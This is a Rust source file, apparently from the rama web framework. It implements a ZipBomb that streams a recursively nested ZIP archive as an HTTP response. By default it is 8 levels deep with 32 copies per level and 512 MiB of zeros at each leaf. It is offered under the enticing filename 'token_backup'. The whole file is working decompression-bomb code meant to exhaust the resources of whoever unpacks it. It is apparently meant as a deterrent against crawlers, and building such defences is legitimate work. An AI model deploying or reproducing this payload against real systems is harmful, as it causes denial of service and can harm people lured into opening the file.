1use crate::service::web::response::IntoResponse;
2use flate2::write::DeflateEncoder;
3use rama_core::error::{BoxError, ErrorContext};
4use rama_core::stream::io::{ReaderStream, SyncIoBridge};
5use rama_core::telemetry::tracing;
6use rama_core::{bytes::Bytes, futures::Stream};
7use rama_http_types::{Body, HeaderValue, Response};
8use rama_utils::macros::generate_set_and_with;
9use rama_utils::octets::{kib, mib};
10use rama_utils::str::arcstr::{ArcStr, arcstr};
11use rawzip::{CompressionMethod, ZipArchiveWriter};
12use std::fmt;
13use std::io::{self, Cursor, Read, Write};
14use std::pin::Pin;
15use std::task::{Context, Poll};
16use tokio::io::{BufReader, duplex};
17
18#[derive(Debug, Clone)]
19pub struct ZipBomb {
33 filename: ArcStr,
34
35 depth: usize,
36 fanout: usize,
37 file_size: usize,
38}
39
40impl Default for ZipBomb {
41 #[inline]
42 fn default() -> Self {
43 Self::new(arcstr!("token_backup"))
44 }
45}
46
47impl ZipBomb {
48 const DEFAULT_DEPTH: usize = 8;
49 const DEFAULT_FANOUT: usize = 32;
50 const DEFAULT_FILE_SIZE: usize = mib(512);
51
52 #[must_use]
53 pub const fn new(filename: ArcStr) -> Self {
55 Self {
56 filename,
57
58 depth: Self::DEFAULT_DEPTH,
59 fanout: Self::DEFAULT_FANOUT,
60 file_size: Self::DEFAULT_FILE_SIZE,
61 }
62 }
63
64 generate_set_and_with! {
65 pub fn depth(mut self, depth: usize) -> Self {
69 self.depth = if depth > 0 { depth } else { Self::DEFAULT_DEPTH};
70 self
71 }
72 }
73
74 generate_set_and_with! {
75 pub fn fanout(mut self, fanout: usize) -> Self {
79 self.fanout = if fanout > 0 { fanout } else { Self::DEFAULT_FANOUT};
80 self
81 }
82 }
83
84 generate_set_and_with! {
85 pub fn file_size(mut self, file_size: usize) -> Self {
89 self.file_size = if file_size > 0 { file_size } else { Self::DEFAULT_FILE_SIZE};
90 self
91 }
92 }
93
94 pub fn generate_body(&self) -> Body {
96 let Self {
97 filename,
98 depth,
99 fanout,
100 file_size,
101 } = self.clone();
102
103 let stream = RecursiveZipBomb::new(filename, depth, fanout, file_size);
104 Body::from_stream(stream)
105 }
106
107 fn generate_response_headers(&self) -> [(&'static str, HeaderValue); 4] {
108 [
109 ("Robots", HeaderValue::from_static("none")),
110 (
111 "X-Robots-Tag",
112 HeaderValue::from_static("noindex, nofollow"),
113 ),
114 ("Content-Type", HeaderValue::from_static("application/zip")),
115 (
116 "Content-Disposition",
117 format!("attachment; filename={}.zip", self.filename)
118 .parse()
119 .unwrap_or_else(|err| {
120 tracing::debug!("failed to format ZipBomb's Content-Disposition header: fall back to default: {err}");
121 HeaderValue::from_static("attachment; filename=data.zip")
122 }),
123 ),
124 ]
125 }
126
127 #[must_use]
129 pub fn generate_response(&self) -> Response {
130 let headers = self.generate_response_headers();
131 let body = self.generate_body();
132 (headers, body).into_response()
133 }
134
135 pub fn into_generate_body(self) -> Body {
137 let Self {
138 filename,
139 depth,
140 fanout,
141 file_size,
142 } = self;
143
144 let stream = RecursiveZipBomb::new(filename, depth, fanout, file_size);
145 Body::from_stream(stream)
146 }
147
148 #[must_use]
150 pub fn into_generate_response(self) -> Response {
151 let headers = self.generate_response_headers();
152 let body = self.into_generate_body();
153 (headers, body).into_response()
154 }
155}
156
157impl IntoResponse for ZipBomb {
158 #[inline]
159 fn into_response(self) -> rama_http_types::Response {
160 self.into_generate_response()
161 }
162}
163
164impl From<ZipBomb> for Body {
165 #[inline]
166 fn from(value: ZipBomb) -> Self {
167 value.into_generate_body()
168 }
169}
170
171pin_project_lite::pin_project! {
172 pub struct RecursiveZipBomb {
173 depth: usize,
174 fanout: usize,
175 file_size: usize,
176 #[pin]
177 stream: ReaderStream<BufReader<tokio::io::DuplexStream>>,
178 }
179}
180
181impl fmt::Debug for RecursiveZipBomb {
182 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
183 f.debug_struct("RecursiveZipBomb")
184 .field("depth", &self.depth)
185 .field("fanout", &self.fanout)
186 .field("file_size", &self.file_size)
187 .finish()
188 }
189}
190
191impl RecursiveZipBomb {
192 fn new(filename: ArcStr, depth: usize, fanout: usize, file_size: usize) -> Self {
193 let mut buffer_size = kib(64);
194 buffer_size += fanout * kib(32);
195 buffer_size += file_size.min(mib(4));
196 buffer_size += depth * kib(16);
197
198 let (writer, reader) = duplex(buffer_size.min(mib(8)));
199
200 tokio::task::spawn_blocking(move || {
201 generate_recursive_base_zip(
202 SyncIoBridge::new(writer),
203 &filename,
204 depth,
205 fanout,
206 file_size,
207 )
208 });
209
210 let stream = ReaderStream::new(BufReader::new(reader));
211
212 Self {
213 depth,
214 fanout,
215 file_size,
216 stream,
217 }
218 }
219}
220
221fn write_nested_zip_file<W: io::Write>(
222 index: usize,
223 filename: &str,
224 zip: &mut ZipArchiveWriter<W>,
225 data: &[u8],
226) -> Result<(), BoxError> {
227 let (mut file, builder) = zip
228 .new_file(&format!("{filename}_batch_{index}.zip"))
229 .compression_method(CompressionMethod::Deflate)
230 .start()
231 .context("create batch zip file entry")?;
232
233 let encoder = DeflateEncoder::new(&mut file, flate2::Compression::default());
234 let mut writer = builder.wrap(encoder);
235 writer.write_all(data).context("write nested ZIP data")?;
236 let (_, descriptor) = writer.finish().context("finish ZIP entry descriptor")?;
237 file.finish(descriptor).context("finish ZIP entry")?;
238 Ok(())
239}
240
241fn write_fake_binary_data<W: io::Write>(
242 filename: &str,
243 zip: &mut ZipArchiveWriter<W>,
244 file_size: usize,
245) -> Result<(), BoxError> {
246 tracing::trace!("generate fake binary data for {filename}: file_size={file_size}");
247 let (mut file, builder) = zip
248 .new_file(&format!("{filename}.enc.bin"))
249 .compression_method(CompressionMethod::Deflate)
250 .start()
251 .context("write leaf binary payload")?;
252
253 let encoder = DeflateEncoder::new(&mut file, flate2::Compression::default());
254 let mut writer = builder.wrap(encoder);
255 let mut zero_reader = ZeroReader(file_size);
256 io::copy(&mut zero_reader, &mut writer).context("write zero data")?;
257 let (_, descriptor) = writer.finish().context("finish leaf entry desciptor")?;
258 file.finish(descriptor).context("finish leaf entry")?;
259 Ok(())
260}
261
262fn generate_recursive_base_zip<W: io::Write>(
263 buffer: W,
264 filename: &str,
265 depth: usize,
266 fanout: usize,
267 file_size: usize,
268) {
269 tracing::trace!(
270 "generate recursive zip for {filename}: depth={depth}, fanout={fanout}, file_size={file_size}"
271 );
272
273 let mut zip = ZipArchiveWriter::new(buffer);
274
275 if depth == 0 {
276 if let Err(err) = write_fake_binary_data(filename, &mut zip, file_size) {
277 tracing::debug!(
278 "failed to create fake binary data (return corrupted data early): {err}"
279 );
280 return;
281 }
282 } else {
283 let mut nested_buffer = Cursor::new(Vec::default());
284 generate_recursive_base_zip(&mut nested_buffer, filename, depth - 1, fanout, file_size);
285 let nested_buffer = nested_buffer.into_inner();
286 for i in 0..fanout {
287 tracing::trace!("write nested zip file #{i} for {filename}");
288 if let Err(err) = write_nested_zip_file(i, filename, &mut zip, &nested_buffer) {
289 tracing::debug!(
290 "failed to write nested zip file {i} (return corrupted data early): {err}"
291 );
292 return;
293 }
294 }
295 }
296
297 if let Err(err) = zip.finish() {
298 tracing::debug!("failed to finalize zip data might be corrupted): {err}");
299 }
300}
301
302struct ZeroReader(usize);
303
304impl Read for ZeroReader {
305 fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {
306 if self.0 == 0 {
307 return Ok(0);
308 }
309 let len = buf.len().min(self.0);
310 for byte in &mut buf[..len] {
311 *byte = 0;
312 }
313 self.0 -= len;
314 Ok(len)
315 }
316}
317
318impl Stream for RecursiveZipBomb {
319 type Item = Result<Bytes, std::io::Error>;
320
321 fn poll_next(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Option<Self::Item>> {
322 let this = self.project();
323 this.stream.poll_next(cx)
324 }
325}